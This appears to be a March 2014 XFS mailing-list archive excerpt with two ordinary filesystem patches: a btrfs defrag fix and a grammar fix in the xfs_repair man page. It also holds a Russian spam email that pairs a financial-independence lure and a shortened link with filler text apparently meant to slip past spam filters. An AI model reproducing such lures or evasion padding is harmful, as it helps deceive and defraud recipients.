++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/btrfs/ioctl.c b/fs/btrfs/ioctl.c index f914b5d..1ae45bd 100644 --- a/fs/btrfs/ioctl.c +++ b/fs/btrfs/ioctl.c @@ -983,7 +983,8 @@ static bool defrag_check_next_extent(struct inode *inode, struct extent_map *em) return false; next = defrag_lookup_extent(inode, em->start + em->len); - if (!next || next->block_start >= EXTENT_MAP_LAST_BYTE) + if (!next || next->block_start >= EXTENT_MAP_LAST_BYTE || + (em->block_start + em->block_len == next->block_start)) ret = false; free_extent_map(next); -- 1.7.9.5 From andrew@digital-domain.net Sat Mar 1 07:47:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4739E7F54 for ; Sat, 1 Mar 2014 07:47:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D944FAC008 for ; Sat, 1 Mar 2014 05:47:09 -0800 (PST) X-ASG-Debug-ID: 1393681626-04bdf05dab16d610001-NocioJ Received: from a.painless.aa.net.uk (a.painless.aa.net.uk [81.187.30.51]) by cuda.sgi.com with ESMTP id FpeKFdgYZHn3rTBI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 01 Mar 2014 05:47:07 -0800 (PST) X-Barracuda-Envelope-From: andrew@digital-domain.net X-Barracuda-Apparent-Source-IP: 81.187.30.51 Received: from tau.digital-domain.net ([217.169.2.54] helo=omega.digital-domain.net) by a.painless.aa.net.uk with esmtp (Exim 4.77) (envelope-from ) id 1WJkFr-0007dG-C7; Sat, 01 Mar 2014 13:47:05 +0000 From: Andrew Clayton To: xfs@oss.sgi.com Cc: Andrew Clayton Subject: [PATCH] man: xfs_repair.8: Fix a grammatical error Date: Sat, 1 Mar 2014 13:46:40 +0000 X-ASG-Orig-Subj: [PATCH] man: xfs_repair.8: Fix a grammatical error Message-Id: <1393681600-13098-1-git-send-email-andrew@digital-domain.net> X-Mailer: git-send-email 1.8.5.3 X-Barracuda-Connect: a.painless.aa.net.uk[81.187.30.51] X-Barracuda-Start-Time: 1393681627 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145636 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Fix an issue in the -o force_geometry suboption text. Signed-off-by: Andrew Clayton --- man/man8/xfs_repair.8 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/man/man8/xfs_repair.8 b/man/man8/xfs_repair.8 index ed20fb7..b7c2d8c 100644 --- a/man/man8/xfs_repair.8 +++ b/man/man8/xfs_repair.8 @@ -144,7 +144,7 @@ reduce repair times on concat based filesystems. .BI force_geometry Check the filesystem even if geometry information could not be validated. Geometry information can not be validated if only a single allocation -group and exist and thus we do not have a backup superblock available, or +group exists and thus we do not have a backup superblock available, or if there are two allocation groups and the two superblocks do not agree on the filesystem geometry. Only use this option if you validated the geometry yourself and know what you are doing. If In doubt run -- 1.8.5.3 From abouzaid@ncb.ly Sat Mar 1 11:39:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=HTML_FONT_LOW_CONTRAST, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 67C687F54 for ; Sat, 1 Mar 2014 11:39:18 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4D6BAC004 for ; Sat, 1 Mar 2014 09:39:14 -0800 (PST) X-ASG-Debug-ID: 1393695547-04cbb066e416f5d0001-NocioJ Received: from vweb8.lttnet.net (62.240.36.43.static.ltt.ly [62.240.36.43]) by cuda.sgi.com with ESMTP id JZHFbPftV51jYemn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 01 Mar 2014 09:39:08 -0800 (PST) X-Barracuda-Envelope-From: abouzaid@ncb.ly X-Barracuda-Apparent-Source-IP: 62.240.36.43 Received: from [202.109.114.192] (port=3037 helo=tyyug) by vweb8.lttnet.net with esmtpa (Exim 4.80.1) (envelope-from ) id 1WJnsO-0000Jc-NO for xfs@oss.sgi.com; Sat, 01 Mar 2014 19:39:06 +0200 Message-ID: <38753066C56B43E9B1A30076ECA8E316@lbfypj> From: "Ralph Poquette" To: "xfs" Subject: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDn4Oru6+7y6PL8?= =?windows-1251?B?IO3gIOHo7eDw7fv1IO7v9uju7eD1ISEsIN3x?= =?windows-1251?B?y8LOxw==?= Date: Sat, 1 Mar 2014 18:39:15 +0100 X-ASG-Orig-Subj: =?windows-1251?B?eGZzQG9zcy5zZ2kuY29tLCDn4Oru6+7y6PL8?= =?windows-1251?B?IO3gIOHo7eDw7fv1IO7v9uju7eD1ISEsIN3x?= =?windows-1251?B?y8LOxw==?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_1278_01CF357D.8C4EEAC0" X-Priority: 3 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vweb8.lttnet.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - ncb.ly X-Get-Message-Sender-Via: vweb8.lttnet.net: authenticated_id: abouzaid@ncb.ly X-Barracuda-Connect: 62.240.36.43.static.ltt.ly[62.240.36.43] X-Barracuda-Start-Time: 1393695548 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.34 X-Barracuda-Spam-Status: No, SCORE=1.34 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_INVIS_TEXT_2K, BSF_SC0_TG035a, BSF_SC0_TG163d, HTML_FONT_LOW_CONTRAST, HTML_MESSAGE, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145640 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.54 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar to background 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.10 BSF_SC0_INVIS_TEXT_2K Custom Rule BSF_SC0_INVIS_TEXT_2K 0.50 BSF_SC0_TG163d Custom Rule TG163d This is a multi-part message in MIME format. ------=_NextPart_000_1278_01CF357D.8C4EEAC0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =EE=EA=E0=E7=E0=F2=FC=F1=FF =F4=E8=EDa=ED=F1=EE=E2=EE =ED=E5=E7a=E2=E8=F1= =E8=EC=FB=EC =E8 =EE=E1=E5=F1=EF=E5=F7=E5=ED=ED=FB=EC =D3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE=F1=F2=E8... http://goo.gl/rHiGke=20 - =CD=F3 =F1=EB=E0=E2=E0 =E1=EE=E3=F3, - =F1 =EE=E1=EB=E5=E3=F7=E5=ED=E8=E5= =EC =E2=E7=E4=EE=F5=ED=F3=EB =C2=E8=EA=F2=EE=F0. - =CE=F7=ED=F3=EB=E0=F1=FC= .=20 - =DD=F2=EE =EC=EE=E9 =E1=FB=E2=F8=E8=E9 =EE=E4=ED=EE=EA=F3=F0=F1=ED=E8=EA= , =EA=EE=E3=E4=E0-=F2=EE =F1=EC=E5=E2=F8=E8=E9 =ED=E0=E7=FB=E2=E0=F2=FC =EC= =E5=ED=FF =F1=E2=EE=E8=EC =E4=F0=F3=E3=EE=EC, - =EA=EE=F0=EE=F2=EA=EE =EF= =EE=FF=F1=ED=E8=EB=E0 =FF =F1=E2=EE=E8=EC =F1=EF=F3=F2=ED=E8=EA=E0=EC. =CD= =E5=F2, =ED=F3 =EA=E0=EA=EE=E2 =ED=E0=F5=E0=EB!=20 =D7=F3=E2=F1=F2=E2=EE =F1=F2=F0=E0=F5=E0 =EA =EC=E5=EB=EA=E8=EC =E3=F0=FB= =E7=F3=ED=E0=EC, =E2=E8=E4=E8=EC=EE, =CA=E0=F9=E5=FE =E1=FB=EB=EE =ED=E5=E2= =E5=E4=EE=EC=EE, =EF=EE=F2=EE=EC=F3 =F7=F2=EE =EE=ED =F1=EB=E8=F8=EA=EE=EC= =E4=EE=EB=E3=EE =F1=EE=EE=E1=F0=E0=E6=E0=EB =EE =EF=F0=E8=F7=E8=ED=E0=F5= =EC=EE=E5=E3=EE =F1=F2=EE=EB=FC =ED=E5=E0=E4=E5=EA=E2=E0=F2=ED=EE=E3=EE = =EF=EE=E2=E5=E4=E5=ED=E8=FF, =ED=EE =ED=E0=EA=EE=ED=E5=F6 =F3 =ED=E5=E3=EE= =F5=E2=E0=F2=E8=EB=EE =F3=EC=E0 =EF=F0=EE=F1=EB=E5=E4=E8=F2=FC =E7=E0 =EC= =EE=E8=EC =E2=E7=E3=EB=FF=E4=EE=EC. =CD=E0=E3=EB=EE=E5 =E6=E8=E2=EE=F2=ED= =EE=E5 =EF=F0=EE=E4=EE=EB=E6=E0=EB=EE =F1=E8=E4=E5=F2=FC =E2 =F3=E3=EE=EB= =EE=F7=EA=E5, =EA=E0=EA =EC=ED=E5 =EF=EE=EA=E0=E7=E0=EB=EE=F1=FC, =E7=EB=EE= =F0=E0=E4=ED=EE =F3=F5=EC=FB=EB=FF=FF=F1=FC.=20 =CF=EE=F1=EB=E5=E4=ED=E8=E5 =F1=EB=EE=E2=E0 =E4=EE=E3=EE=E2=EE=F0=E8=F2=FC= =EC=ED=E5 =ED=E5 =E4=E0=EB=E8 - =E2=FB=E4=E2=E8=E3=E0=F2=FC =F3=F1=EB=EE= =E2=E8=FF =E8 =F6=E5=EB=EE=E2=E0=F2=FC=F1=FF =EE=E4=ED=EE=E2=F0=E5=EC=E5=ED= =ED=EE =EE=EA=E0=E7=E0=EB=EE=F1=FC =ED=E5 =EF=EE=E4 =F1=E8=EB=F3 =E4=E0=E6= =E5 =EC=ED=E5. =CC=EE=E8 =F0=F3=EA=E8, =F3=E6=E5 =ED=E5 =F1=EF=F0=E0=F8=E8= =E2=E0=FF =F5=EE=E7=FF=E9=F1=EA=EE=E3=EE =F1=EE=E3=EB=E0=F1=E8=FF, =EE=E1= =F5=E2=E0=F2=E8=EB=E8 =E5=E3=EE =E7=E0 =F8=E5=FE. =C5=E4=E8=ED=F1=F2=E2=E5= =ED=ED=EE=E5, =F7=F2=EE =FF =EF=EE=ED=FF=EB=E0, - =EC=EE=E8 =F3=F1=EB=EE=E2= =E8=FF =ED=E5=F1=EA=EE=EB=FC=EA=EE =F3=F1=F2=E0=F0=E5=EB=E8, =EA=F0=E5=F1= =F2=E8=EA=EE=EC =E2=FB=F8=E8=E2=E0=F2=FC =EC=ED=E5 =E2=F1=E5-=F2=E0=EA=E8= =EF=F0=E8=E4=E5=F2=F1=FF =ED=E0=F3=F7=E8=F2=FC=F1=FF. =C5=F1=EB=E8 =F2=EE= =EB=FC=EA=EE =EE=ED =F1=E8=EB=FC=ED=EE =EF=EE=EF=F0=EE=F1=E8=F2. =CE=F7=E5= =ED=FC =F1=E8=EB=FC=ED=EE =EF=EE=EF=F0=EE=F1=E8=F2.=20 - =D2=FC=F4=F3, =F7=E5=F0=F2! - =E2 =F1=E5=F0=E4=F6=E0=F5 =E2=FB=F0=F3=E3= =E0=EB=F1=FF =EA=ED=FF=E7=FC. - =C0=EB=E5=ED=E0, =FF =EF=FB=F2=E0=FE=F1=FC= =F1=E4=E5=EB=E0=F2=FC =F2=E5=E1=E5 =EF=F0=E5=E4=EB=EE=E6=E5=ED=E8=E5 =F0= =F3=EA=E8 =E8 =F1=E5=F0=E4=F6=E0, =ED=EE =F1 =F2=EE=E1=EE=E9 =E8 =FD=F2=EE= =E3=EE =EF=EE-=F7=E5=EB=EE=E2=E5=F7=E5=F1=EA=E8 =ED=E5 =EF=EE=EB=F3=F7=E0= =E5=F2=F1=FF.=20 =C8 =F1 =FD=F2=E8=EC=E8 =F1=EB=EE=E2=E0=EC=E8 =EE=ED =E1=FB=F1=F2=F0=EE =F0= =E0=E7=E2=E5=F0=ED=F3=EB=F1=FF =E8 =E2=FB=F8=E5=EB, =ED=E5 =EE=F1=F2=E0=E2= =E8=E2 =ED=E0=EC =E2=F0=E5=EC=E5=ED=E8 =ED=E0 =EF=E0=F0=EE=F7=EA=F3 =EE=F7= =E5=ED=FC =E2=EE=EB=ED=F3=FE=F9=E8=F5 =E2=EE=EF=F0=EE=F1=EE=E2. =C3=EE=F1= =F2=E8 =E8 =F1=F2=F0=E0=E6=ED=E8=EA=E8 =F2=EE=E6=E5 =EF=EE=F2=FF=ED=F3=EB= =E8=F1=FC =EA =E2=FB=F5=EE=E4=F3, =ED=E5 =E7=E0=E1=FB=E2 =EF=F0=E8=F5=E2=E0= =F2=E8=F2=FC =F1 =F1=EE=E1=EE=E9 =ED=E0=F8=E8 =E2=E5=F9=E8, =EA=EE=ED=F4=E8= =F1=EA=EE=E2=E0=ED=ED=FB=E5 =EF=F0=E8 =EE=E1=FB=F1=EA=E5, =E2 =F2=EE=EC =F7= =E8=F1=EB=E5 =E8 =EF=F0=EE =EC=E5=F2=EB=F3 =ED=E5 =E7=E0=E1=FB=EB=E8. =DD= =F2=EE, =ED=E0=E2=E5=F0=ED=EE=E5, =F7=F2=EE=E1 =ED=E0=EC =ED=E5 =EF=F0=E8= =F8=EB=E0 =E2 =E3=EE=EB=EE=E2=F3 =EC=FB=F1=EB=FC =F1=EC=FB=F2=FC=F1=FF, =F5= =EE=F2=FF =FF =F1=EE=EC=ED=E5=E2=E0=FE=F1=FC, =F7=F2=EE =F3 =EC=E5=ED=FF = =E2 =E1=EB=E8=E6=E0=E9=F8=E5=E5, =E4=E0 =E8 =ED=E5 =EE=F7=E5=ED=FC, =E2=F0= =E5=EC=FF =E2=EE=E7=ED=E8=EA=ED=E5=F2 =E6=E5=EB=E0=ED=E8=E5 =EF=EE=EB=E5=F2= =E0=F2=FC.=20 - =CD=E8=F7=E5=E3=EE, - =E1=EB=E0=E6=E5=ED=ED=EE =E7=E0=E6=EC=F3=F0=E8=E2= =F8=E8=F1=FC, =EE=F2=E2=E5=F2=E8=EB =EE=ED. - =CA=F1=F2=E0=F2=E8, =F7=F2=EE= =F2=FB =EE=E1 =FD=F2=EE=EC =EA=EE=F0=EE=EB=E5=E2=F1=EA=EE=EC =E4=E5=EB=E5= =E4=F3=EC=E0=E5=F8=FC?=20 =CC=FB =E1=EE=EB=F2=E0=EB=E8 =EE =E2=F1=FF=EA=EE=E9 =E5=F0=F3=ED=E4=E5, =E2= =EF=EB=EE=F2=FC =E4=EE =F0=E0=E7=ED=EE=E2=E8=E4=ED=EE=F1=F2=E5=E9 =EA=E2=E0= =F8=E5=ED=EE=E9 =EA=E0=EF=F3=F1=F2=FB =E8 =F0=E5=F6=E5=EF=F2=EE=E2 =E5=E5= =EF=F0=E8=E3=EE=F2=EE=E2=EB=E5=ED=E8=FF. =CF=F0=E8=F7=E5=EC =FD=F2=E0 =F2= =E5=EC=E0 =E2=FB=E7=E2=E0=EB=E0 =ED=E0 =F3=E4=E8=E2=EB=E5=ED=E8=E5 =EE=E6= =E5=F1=F2=EE=F7=E5=ED=ED=FB=E5 =F1=EF=EE=F0=FB. =CC=FB =ED=E5 =F1=EE=F8=EB= =E8=F1=FC =ED=E5 =F2=EE=EB=FC=EA=EE =E2=EE =E2=EA=F3=F1=E0=F5 =FD=F2=EE=E3= =EE =EF=F0=EE=F1=F2=E5=F6=EA=EE=E3=EE, =ED=EE =F7=E5=F0=F2=EE=E2=F1=EA=E8= =ED=E5=EE=E1=F5=EE=E4=E8=EC=EE=E3=EE =E2 =EB=FE=E1=EE=EC =F3=E2=E0=E6=E0= =FE=F9=E5=EC =F1=E5=E1=FF =E4=EE=EC=E5 =E1=EB=FE=E4=E0, =ED=EE =E8 =E2 =F1= =EF=EE=F1=EE=E1=E0=F5 =F1=EE=E1=F1=F2=E2=E5=ED=ED=EE =F1=E0=EC=EE=E3=EE =EA= =E2=E0=F8=E5=ED=E8=FF. =DF =F3=F2=E2=E5=F0=E6=E4=E0=EB=E0, =F7=F2=EE =EB=F3= =F7=F8=E5 =E2=F1=E5=E3=EE =EA=E2=E0=F1=E8=F2=FC =EA=E0=EF=F3=F1=F2=F3 =F1= =EA=EB=FE=EA=E2=EE=E9, =EA=ED=FF=E7=FC =E6=E5 =ED=E0=F1=F2=E0=E8=E2=E0=EB= =ED=E0 =EE=E1=FF=E7=E0=F2=E5=EB=FC=ED=EE=EC =EF=F0=E8=F1=F3=F2=F1=F2=E2=E8= =E8 =F1=EB=E0=E4=EA=EE=E3=EE =E8 =E3=EE=F0=FC=EA=EE=E3=EE =EF=E5=F0=F6=E0= (=F2=EE=E6=E5 =EC=ED=E5 =EB=FE=E1=E8=F2=E5=EB=FC =EA=EE=ED=F2=F0=E0=F1=F2= =EE=E2!). =CF=F0=E5=E4=F1=F2=E0=E2=E8=F2=FC =CA=E0=F9=E5=FF =F0=FF=E4=EE=EC= =F1 =EA=E0=E4=EA=EE=E9 =E7=E0 =EA=F0=EE=F8=E5=ED=E8=E5=EC =EA=EE=F7=E0=ED= =EE=E2 =F3 =EC=E5=ED=FF =ED=E5 =EF=EE=EB=F3=F7=E8=EB=EE=F1=FC, =ED=EE =EC= =FB =E4=EE=F1=EF=EE=F0=E8=EB=E8=F1=FC =E4=EE =F2=EE=E3=EE, =F7=F2=EE =F0=E5= =F8=E8=EB=E8 =EF=F0=EE=E2=E5=F0=E8=F2=FC =E2=F1=E5 =EE=EF=FB=F2=ED=FB=EC = =EF=F3=F2=E5=EC, =EF=F0=E8=F7=E5=EC =ED=E0 =EA=EE=EC-=ED=E8=E1=F3=E4=FC =F2= =F0=E5=F2=FC=E5=EC, =ED=E5 =E7=E0=E8=ED=F2=E5=F0=E5=F1=EE=E2=E0=ED=ED=EE=EC= =E2 =F0=E5=E7=F3=EB=FC=F2=E0=F2=E0=F5 =ED=E0=F8=E8=F5 =EA=F3=EB=E8=ED=E0= =F0=ED=FB=F5 =E4=E5=E1=E0=F2=EE=E2 =EB=E8=F6=E5. =C1=EB=E0=E3=EE =E2 =E7=E0= =EA=F0=EE=EC=E0=F5 =EA=ED=FF=E6=E5=F1=EA=EE=E3=EE =E7=E0=EC=EA=E0 =EF=F0=E8= =F1=F3=F2=F1=F2=E2=EE=E2=E0=EB=E8 =EA=E0=E4=EA=E8 =F1 =EE=E1=EE=E8=EC=E8 = =E2=E8=E4=E0=EC=E8 =EA=E0=EF=F3=F1=F2=FB.=20 - =CD=EE, =ED=EE, =F2=EE=EB=FC=EA=EE =E1=E5=E7 =F0=F3=EA! - =D1=E5=ED=FC=EA= =E0 =EF=EE=EF=FF=F2=E8=EB=F1=FF =EF=EE=E4 =F1=EF=E0=F1=E8=F2=E5=EB=FC=ED=FB= =E9 =EF=EE=EB=EE=E3 =EA=F0=EE=E2=E0=F2=E8 =E8 =E7=E0=F2=E0=E8=EB=F1=FF =F2= =E0=EC, =EE=E1=E8=E6=E5=ED=ED=EE =F1=E2=E5=F0=EA=E0=FF =E3=EB=E0=E7=E8=F9= =E0=EC=E8.=20 - =D7=F2=EE, =ED=E5 =E6=E4=E0=EB=E8? - =EC=F0=E0=F7=ED=EE =F1=EF=F0=EE=F1= =E8=EB=E0 =FF, =EE=E4=E5=F0=E3=E8=E2=E0=FF =EF=EE=F2=FF=ED=F3=E2=F8=F3=FE= =F1=FF =EA =EF=F0=E8=E2=FF=E7=E0=ED=ED=FB=EC =E6=E5=F0=E5=E1=F6=E0=EC =ED= =E0 =E4=F0=F3=E3=EE=E9 =F1=F2=EE=F0=EE=ED=E5 =EF=EE=EB=FF=ED=FB =EB=EE=F8= =E0=E4=FC. ------=_NextPart_000_1278_01CF357D.8C4EEAC0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=EE=EA=E0=E7=E0=F2=FC=F1=FF= =F4=E8=EDa=ED=F1=EE=E2=EE =ED=E5=E7a=E2=E8=F1=E8=EC=FB=EC =E8 =EE=E1=E5=F1= =EF=E5=F7=E5=ED=ED=FB=EC
=D3=E7=ED=E0=F2=FC =EF=EE=E4=F0=EE=E1=ED=EE= =F1=F2=E8...
 
 
- =CD=F3 =F1=EB=E0=E2=E0= =E1=EE=E3=F3, - =F1 =EE=E1=EB=E5=E3=F7=E5=ED=E8=E5=EC =E2=E7=E4=EE=F5=ED= =F3=EB =C2=E8=EA=F2=EE=F0. - =CE=F7=ED=F3=EB=E0=F1=FC.=20
- =DD=F2=EE =EC=EE=E9 =E1= =FB=E2=F8=E8=E9 =EE=E4=ED=EE=EA=F3=F0=F1=ED=E8=EA, =EA=EE=E3=E4=E0-=F2=EE= =F1=EC=E5=E2=F8=E8=E9 =ED=E0=E7=FB=E2=E0=F2=FC =EC=E5=ED=FF =F1=E2=EE=E8= =EC =E4=F0=F3=E3=EE=EC, - =EA=EE=F0=EE=F2=EA=EE =EF=EE=FF=F1=ED=E8=EB=E0 = =FF =F1=E2=EE=E8=EC =F1=EF=F3=F2=ED=E8=EA=E0=EC. =CD=E5=F2, =ED=F3 =EA=E0= =EA=EE=E2 =ED=E0=F5=E0=EB!=20
=D7=F3=E2=F1=F2=E2=EE =F1= =F2=F0=E0=F5=E0 =EA =EC=E5=EB=EA=E8=EC =E3=F0=FB=E7=F3=ED=E0=EC, =E2=E8=E4= =E8=EC=EE, =CA=E0=F9=E5=FE =E1=FB=EB=EE =ED=E5=E2=E5=E4=EE=EC=EE, =EF=EE=F2= =EE=EC=F3 =F7=F2=EE =EE=ED =F1=EB=E8=F8=EA=EE=EC =E4=EE=EB=E3=EE =F1=EE=EE= =E1=F0=E0=E6=E0=EB =EE =EF=F0=E8=F7=E8=ED=E0=F5 =EC=EE=E5=E3=EE =F1=F2=EE= =EB=FC =ED=E5=E0=E4=E5=EA=E2=E0=F2=ED=EE=E3=EE =EF=EE=E2=E5=E4=E5=ED=E8=FF= , =ED=EE =ED=E0=EA=EE=ED=E5=F6 =F3 =ED=E5=E3=EE =F5=E2=E0=F2=E8=EB=EE =F3= =EC=E0 =EF=F0=EE=F1=EB=E5=E4=E8=F2=FC =E7=E0 =EC=EE=E8=EC =E2=E7=E3=EB=FF= =E4=EE=EC. =CD=E0=E3=EB=EE=E5 =E6=E8=E2=EE=F2=ED=EE=E5 =EF=F0=EE=E4=EE=EB= =E6=E0=EB=EE =F1=E8=E4=E5=F2=FC =E2 =F3=E3=EE=EB=EE=F7=EA=E5, =EA=E0=EA =EC= =ED=E5 =EF=EE=EA=E0=E7=E0=EB=EE=F1=FC, =E7=EB=EE=F0=E0=E4=ED=EE =F3=F5=EC= =FB=EB=FF=FF=F1=FC.=20
=CF=EE=F1=EB=E5=E4=ED=E8= =E5 =F1=EB=EE=E2=E0 =E4=EE=E3=EE=E2=EE=F0=E8=F2=FC =EC=ED=E5 =ED=E5 =E4=E0= =EB=E8 - =E2=FB=E4=E2=E8=E3=E0=F2=FC =F3=F1=EB=EE=E2=E8=FF =E8 =F6=E5=EB=EE= =E2=E0=F2=FC=F1=FF =EE=E4=ED=EE=E2=F0=E5=EC=E5=ED=ED=EE =EE=EA=E0=E7=E0=EB= =EE=F1=FC =ED=E5 =EF=EE=E4 =F1=E8=EB=F3 =E4=E0=E6=E5 =EC=ED=E5. =CC=EE=E8= =F0=F3=EA=E8, =F3=E6=E5 =ED=E5 =F1=EF=F0=E0=F8=E8=E2=E0=FF =F5=EE=E7=FF=E9= =F1=EA=EE=E3=EE =F1=EE=E3=EB=E0=F1=E8=FF, =EE=E1=F5=E2=E0=F2=E8=EB=E8 =E5= =E3=EE =E7=E0 =F8=E5=FE. =C5=E4=E8=ED=F1=F2=E2=E5=ED=ED=EE=E5, =F7=F2=EE = =FF =EF=EE=ED=FF=EB=E0, - =EC=EE=E8 =F3=F1=EB=EE=E2=E8=FF =ED=E5=F1=EA=EE= =EB=FC=EA=EE =F3=F1=F2=E0=F0=E5=EB=E8, =EA=F0=E5=F1=F2=E8=EA=EE=EC =E2=FB= =F8=E8=E2=E0=F2=FC =EC=ED=E5 =E2=F1=E5-=F2=E0=EA=E8 =EF=F0=E8=E4=E5=F2=F1= =FF =ED=E0=F3=F7=E8=F2=FC=F1=FF. =C5=F1=EB=E8 =F2=EE=EB=FC=EA=EE =EE=ED =F1= =E8=EB=FC=ED=EE =EF=EE=EF=F0=EE=F1=E8=F2. =CE=F7=E5=ED=FC =F1=E8=EB=FC=ED= =EE =EF=EE=EF=F0=EE=F1=E8=F2.=20
- =D2=FC=F4=F3, =F7=E5=F0= =F2! - =E2 =F1=E5=F0=E4=F6=E0=F5 =E2=FB=F0=F3=E3=E0=EB=F1=FF =EA=ED=FF=E7= =FC. - =C0=EB=E5=ED=E0, =FF =EF=FB=F2=E0=FE=F1=FC =F1=E4=E5=EB=E0=F2=FC =F2= =E5=E1=E5 =EF=F0=E5=E4=EB=EE=E6=E5=ED=E8=E5 =F0=F3=EA=E8 =E8 =F1=E5=F0=E4= =F6=E0, =ED=EE =F1 =F2=EE=E1=EE=E9 =E8 =FD=F2=EE=E3=EE =EF=EE-=F7=E5=EB=EE= =E2=E5=F7=E5=F1=EA=E8 =ED=E5 =EF=EE=EB=F3=F7=E0=E5=F2=F1=FF.=20
=C8 =F1 =FD=F2=E8=EC=E8 = =F1=EB=EE=E2=E0=EC=E8 =EE=ED =E1=FB=F1=F2=F0=EE =F0=E0=E7=E2=E5=F0=ED=F3=EB= =F1=FF =E8 =E2=FB=F8=E5=EB, =ED=E5 =EE=F1=F2=E0=E2=E8=E2 =ED=E0=EC =E2=F0= =E5=EC=E5=ED=E8 =ED=E0 =EF=E0=F0=EE=F7=EA=F3 =EE=F7=E5=ED=FC =E2=EE=EB=ED= =F3=FE=F9=E8=F5 =E2=EE=EF=F0=EE=F1=EE=E2. =C3=EE=F1=F2=E8 =E8 =F1=F2=F0=E0= =E6=ED=E8=EA=E8 =F2=EE=E6=E5 =EF=EE=F2=FF=ED=F3=EB=E8=F1=FC =EA =E2=FB=F5= =EE=E4=F3, =ED=E5 =E7=E0=E1=FB=E2 =EF=F0=E8=F5=E2=E0=F2=E8=F2=FC =F1 =F1=EE= =E1=EE=E9 =ED=E0=F8=E8 =E2=E5=F9=E8, =EA=EE=ED=F4=E8=F1=EA=EE=E2=E0=ED=ED= =FB=E5 =EF=F0=E8 =EE=E1=FB=F1=EA=E5, =E2 =F2=EE=EC =F7=E8=F1=EB=E5 =E8 =EF= =F0=EE =EC=E5=F2=EB=F3 =ED=E5 =E7=E0=E1=FB=EB=E8. =DD=F2=EE, =ED=E0=E2=E5= =F0=ED=EE=E5, =F7=F2=EE=E1 =ED=E0=EC =ED=E5 =EF=F0=E8=F8=EB=E0 =E2 =E3=EE= =EB=EE=E2=F3 =EC=FB=F1=EB=FC =F1=EC=FB=F2=FC=F1=FF, =F5=EE=F2=FF =FF =F1=EE= =EC=ED=E5=E2=E0=FE=F1=FC, =F7=F2=EE =F3 =EC=E5=ED=FF =E2 =E1=EB=E8=E6=E0=E9= =F8=E5=E5, =E4=E0 =E8 =ED=E5 =EE=F7=E5=ED=FC, =E2=F0=E5=EC=FF =E2=EE=E7=ED= =E8=EA=ED=E5=F2 =E6=E5=EB=E0=ED=E8=E5 =EF=EE=EB=E5=F2=E0=F2=FC.=20
- =CD=E8=F7=E5=E3=EE, - = =E1=EB=E0=E6=E5=ED=ED=EE =E7=E0=E6=EC=F3=F0=E8=E2=F8=E8=F1=FC, =EE=F2=E2=E5= =F2=E8=EB =EE=ED. - =CA=F1=F2=E0=F2=E8, =F7=F2=EE =F2=FB =EE=E1 =FD=F2=EE= =EC =EA=EE=F0=EE=EB=E5=E2=F1=EA=EE=EC =E4=E5=EB=E5 =E4=F3=EC=E0=E5=F8=FC?= =20
